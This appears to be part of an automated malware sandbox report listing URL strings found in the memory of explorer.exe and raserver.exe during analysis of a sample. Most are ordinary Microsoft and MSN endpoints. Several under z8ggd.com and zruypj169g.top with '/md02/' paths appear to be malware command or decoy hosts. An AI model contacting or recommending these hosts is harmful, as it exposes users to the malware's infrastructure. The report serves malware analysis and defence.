Source: explorer.exe, 00000004.00000003.8285280689.0000000010D7E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8287567470.0000000010DBE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8624923083.0000000010DD4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.11898558035.0000000010DD7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8622429467.0000000010DC5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.z8ggd.com
Source: explorer.exe, 00000004.00000003.8285280689.0000000010D7E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8287567470.0000000010DBE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8624923083.0000000010DD4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.11898558035.0000000010DD7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8622429467.0000000010DC5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.z8ggd.com/md02/
Source: explorer.exe, 00000004.00000003.8285280689.0000000010D7E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8287567470.0000000010DBE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8624923083.0000000010DD4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.11898558035.0000000010DD7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8622429467.0000000010DC5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.z8ggd.com/md02/www.qqkartel88v1.com
Source: explorer.exe, 00000004.00000003.8285280689.0000000010D7E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8287567470.0000000010DBE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8624923083.0000000010DD4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.11898558035.0000000010DD7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8622429467.0000000010DC5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.z8ggd.comReferer:
Source: explorer.exe, 00000004.00000003.8285280689.0000000010D7E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8287567470.0000000010DBE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8624923083.0000000010DD4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8622429467.0000000010DC5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.zruypj169g.top
Source: explorer.exe, 00000004.00000003.8285280689.0000000010D7E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8287567470.0000000010DBE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8624923083.0000000010DD4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8622429467.0000000010DC5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.zruypj169g.top/md02/
Source: explorer.exe, 00000004.00000003.8285280689.0000000010D7E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8287567470.0000000010DBE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8624923083.0000000010DD4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8622429467.0000000010DC5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.zruypj169g.top/md02/www.pittsparking.com
Source: explorer.exe, 00000004.00000003.8285280689.0000000010D7E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8287567470.0000000010DBE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8624923083.0000000010DD4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8622429467.0000000010DC5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.zruypj169g.topReferer:
Source: explorer.exe, 00000004.00000003.8288746486.000000000D56B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6853066858.000000000D56B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.11893982088.000000000D56B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://activity.windows.com/UserActivity.ReadWrite.CreatedByAppEM
Source: explorer.exe, 00000004.00000003.8288746486.000000000D56B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6853066858.000000000D56B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.11893982088.000000000D56B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://activity.windows.com/UserActivity.ReadWrite.CreatedByAppf
Source: explorer.exe, 00000004.00000003.8286773947.00000000093FE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6847520157.00000000093FE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.9476192622.00000000093FE000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/odirm
Source: explorer.exe, 00000004.00000003.8285449351.0000000010BEC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6858022237.0000000010BA5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8287825721.0000000010C9D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.11897707281.0000000010C91000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8286577674.0000000010C83000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://android.notify.windows.com/iOS
Source: explorer.exe, 00000004.00000003.8285449351.0000000010BEC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6858022237.0000000010BA5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8287825721.0000000010C9D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.11897707281.0000000010C91000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8286577674.0000000010C83000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://android.notify.windows.com/iOSP
Source: explorer.exe, 00000004.00000000.6847520157.0000000009440000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8286773947.0000000009440000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.11886221151.0000000009440000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8623739115.0000000009440000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/
Source: explorer.exe, 00000004.00000002.11886221151.00000000094DB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6847520157.00000000094DB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8623739115.00000000094DB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8286773947.00000000094DB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/U
Source: explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/sports/blended?market=en-us&satoriid=3e4b6c3b-d87a-8603-8e90-e93f0f328660&user=m
Source: explorer.exe, 00000004.00000000.6852064723.000000000CE47000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/News/Feed/Windows?apikey=qrUeHGGYvVowZJuHA3XaH0uUvg1ZJ0GUZnXk3mxxPF&ocid=wind
Source: explorer.exe, 00000004.00000002.11890837892.000000000CE47000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6852064723.000000000CE47000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?
Source: explorer.exe, 00000004.00000002.11886221151.00000000091C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?activityId=DC09251A71C5472DA2BDFD73DC109609&timeOut=5000&oc
Source: explorer.exe, 00000004.00000002.11890837892.000000000CE47000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.11886221151.00000000091C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6852064723.000000000CE47000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com:443/v1/news/Feed/Windows?
Source: explorer.exe, 00000004.00000002.11887310640.0000000009515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8625098549.0000000009510000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6847520157.00000000094DB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8286773947.00000000094DB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8288291072.00000000094F6000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8626668270.0000000009514000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://arc.msn.com
Source: explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Stock_In
Source: explorer.exe, 00000004.00000002.11886221151.00000000091C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/finance/taskbar/icons/earnings/svg/light/blue.svg
Source: explorer.exe, 00000004.00000002.11886221151.00000000091C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/MSIAWwA=/Condition/MostlyCloudyNight.pn
Source: explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/MSIAWwA=/Condition/MostlyCloudyNight.sv
Source: explorer.exe, 00000004.00000002.11886221151.00000000091C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/MSIAWwA=/Teaser/humidity.png
Source: explorer.exe, 00000004.00000002.11886221151.00000000091C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/MSIAWwA=/Teaser/humidity.svg
Source: explorer.exe, 00000004.00000002.11886221151.00000000091C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/taskbar/animation/20240402.1/Weather/W36_Most
Source: explorer.exe, 00000004.00000002.11886221151.00000000091C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/taskbar/animation/20240402.1/WeatherInsight/W
Source: explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/a
Source: explorer.exe, 00000004.00000002.11886221151.00000000091C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13fgwm
Source: explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13fgwm-dark
Source: explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gDkX
Source: explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gDkX-dark
Source: explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gowI
Source: explorer.exe, 00000004.00000002.11886221151.00000000091C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gowI-dark
Source: explorer.exe, 00000004.00000002.11886221151.00000000091C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gyvW
Source: explorer.exe, 00000004.00000002.11886221151.00000000091C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gyvW-dark
Source: explorer.exe, 00000004.00000002.11886221151.00000000091C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13pwi3
Source: explorer.exe, 00000004.00000002.11886221151.00000000091C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13pwi3-dark
Source: explorer.exe, 00000004.00000003.8623027004.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.11896448781.0000000010A85000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8286306641.0000000010A43000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6857495261.0000000010A43000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://excel.office.com
Source: explorer.exe, 00000004.00000002.11886221151.00000000091C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA179X84.img
Source: explorer.exe, 00000004.00000002.11886221151.00000000091C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1g7bhz.img
Source: explorer.exe, 00000004.00000002.11886221151.00000000091C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1lLvot.img
Source: explorer.exe, 00000004.00000002.11886221151.00000000091C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1nsFzx.img
Source: explorer.exe, 00000004.00000002.11886221151.00000000091C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAUhLdx.img
Source: explorer.exe, 00000004.00000002.11886221151.00000000091C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAY97Jf.img
Source: explorer.exe, 00000004.00000002.11886221151.00000000091C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAaeOki.img
Source: explorer.exe, 00000004.00000002.11886221151.00000000091C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAyxkRJ.img
Source: explorer.exe, 00000004.00000002.11886221151.00000000091C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1d0ujS.img
Source: explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://ntp.msn.com/edge/ntp?cm=en-us&ocid=widgetonlockscreenwin10&cvid=a7af015c-55f5-465b-b0e4-6fef
Source: explorer.exe, 00000004.00000003.8623027004.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.11896448781.0000000010A85000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8286306641.0000000010A43000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6857495261.0000000010A43000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://outlook.com
Source: explorer.exe, 00000004.00000003.8626378435.000000000CFDA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6852064723.000000000CFB0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.11891782059.000000000CFDB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://powerpoint.office.com0
Source: kHslwiV2w6.exe	String found in binary or memory: https://sectigo.com/CPS0
Source: explorer.exe, 00000004.00000002.11899785830.000000001444F000.00000004.80000000.00040000.00000000.sdmp, raserver.exe, 00000005.00000002.11883241933.0000000005A3F000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://status.squarespace.com
Source: explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://th.bi
Source: explorer.exe, 00000004.00000002.11886221151.00000000091C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://windows.msn.com:443/shell?osLocale=en-US&chosenMarketReason=ImplicitNew
Source: explorer.exe, 00000004.00000002.11886221151.00000000091C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://windows.msn.com:443/shellv2?osLocale=en-US&chosenMarketReason=ImplicitNew
Source: explorer.exe, 00000004.00000003.8285449351.0000000010BEC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6858022237.0000000010BA5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8287825721.0000000010C9D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.11897707281.0000000010C91000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8286577674.0000000010C83000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://wns.windows.com/
Source: explorer.exe, 00000004.00000002.11896246348.0000000010A43000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8286306641.0000000010A43000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6857495261.0000000010A43000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://word.office.comut
Source: explorer.exe, 00000004.00000002.11886221151.00000000091C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.glamour.com/story/shag-haircut-photos-products
Source: explorer.exe, 00000004.00000002.11886221151.00000000091C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.instyle.com/hair/shag-haircut-face-shape
Source: explorer.exe, 00000004.00000002.11886221151.00000000091C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/autos/other/24-used-sports-cars-that-are-notoriously-reliable-yet-crazy-ch
Source: explorer.exe, 00000004.00000002.11886221151.00000000091C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/channel/source/AZ%20Animals%20US/sr-vid-7etr9q8xun6k6508c3nufaum0de3dqktiq
Source: explorer.exe, 00000004.00000002.11886221151.00000000091C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/entertainment/news/james-earl-jones-dies-at-93-all-about-his-son-flynn/ar-
Source: explorer.exe, 00000004.00000002.11886221151.00000000091C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/feed
Source: explorer.exe, 00000004.00000002.11886221151.00000000091C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/foodanddrink/recipes/i-asked-3-farmers-the-best-way-to-cook-zucchini-they-
Source: explorer.exe, 00000004.00000002.11886221151.00000000091C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/health/medical/2-egg-brands-have-been-recalled-due-to-a-serious-salmonella
Source: explorer.exe, 00000004.00000002.11886221151.00000000091C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/lifestyle/beauty/40-shag-haircuts-to-inspire-your-next-salon-visit/ss-AA1p
Source: explorer.exe, 00000004.00000002.11886221151.00000000091C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/markets?id=a33k6h
Source: explorer.exe, 00000004.00000002.11886221151.00000000091C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/markets?id=a3oxnm
Source: explorer.exe, 00000004.00000002.11886221151.00000000091C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/markets?id=a6qja2
Source: explorer.exe, 00000004.00000002.11886221151.00000000091C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/personalfinance/18-everyday-household-items-that-are-surprisingly-va
Source: explorer.exe, 00000004.00000002.11886221151.00000000091C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/retirement/a-youtuber-asked-a-group-of-americans-aged-70-to-80-what-
Source: explorer.exe, 00000004.00000002.11886221151.00000000091C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/retirement/middle-aged-americans-are-leaving-work-for-months-years-t
Source: explorer.exe, 00000004.00000002.11886221151.00000000091C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/crime/dick-van-dyke-forever-young/ar-AA1lDpRD
Source: explorer.exe, 00000004.00000002.11886221151.00000000091C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/crime/tyreek-hill-s-traffic-stop-shows-interactions-with-police-can-b
Source: explorer.exe, 00000004.00000002.11886221151.00000000091C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/politics/6-things-to-watch-for-when-kamala-harris-debates-donald-trum
Source: explorer.exe, 00000004.00000002.11886221151.00000000091C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/politics/chris-christie-former-trump-debate-coach-offers-key-pieces-o
Source: explorer.exe, 00000004.00000002.11886221151.00000000091C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/politics/jd-vance-spreads-outrageous-lie-about-haitian-immigrants/ar-
Source: explorer.exe, 00000004.00000002.11886221151.00000000091C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/us/james-earl-jones-s-talents-went-far-far-beyond-his-magnificent-voi
Source: explorer.exe, 00000004.00000002.11886221151.00000000091C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/us/trump-repeats-false-claims-that-children-are-undergoing-transgende
Source: explorer.exe, 00000004.00000002.11886221151.00000000091C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/world/gaza-authorities-say-deadly-blasts-hit-humanitarian-zone/ar-AA1
Source: explorer.exe, 00000004.00000002.11886221151.00000000091C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/sports/nba/johnny-gaudreau-s-wife-reveals-in-eulogy-she-s-pregnant-expecti
Source: explorer.exe, 00000004.00000002.11886221151.00000000091C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/sports/nfl/49ers-win-over-jets-ends-with-final-score-that-s-never-been-see
Source: explorer.exe, 00000004.00000002.11886221151.00000000091C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/travel/news/scientists-finally-solve-mystery-behind-bermuda-triangle-disap
Source: explorer.exe, 00000004.00000002.11886221151.00000000091C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/tv/news/the-bold-the-beautiful-young-and-the-restless-more-get-premiere-da
Source: explorer.exe, 00000004.00000002.11886221151.00000000091C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/weather/forecast/in-Santa
Source: explorer.exe, 00000004.00000002.11886221151.00000000091C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/weather/forecast/in-Santa-Clara%2CCalifornia?loc=eyJsIjoiU2FudGEgQ2xhcmEiL
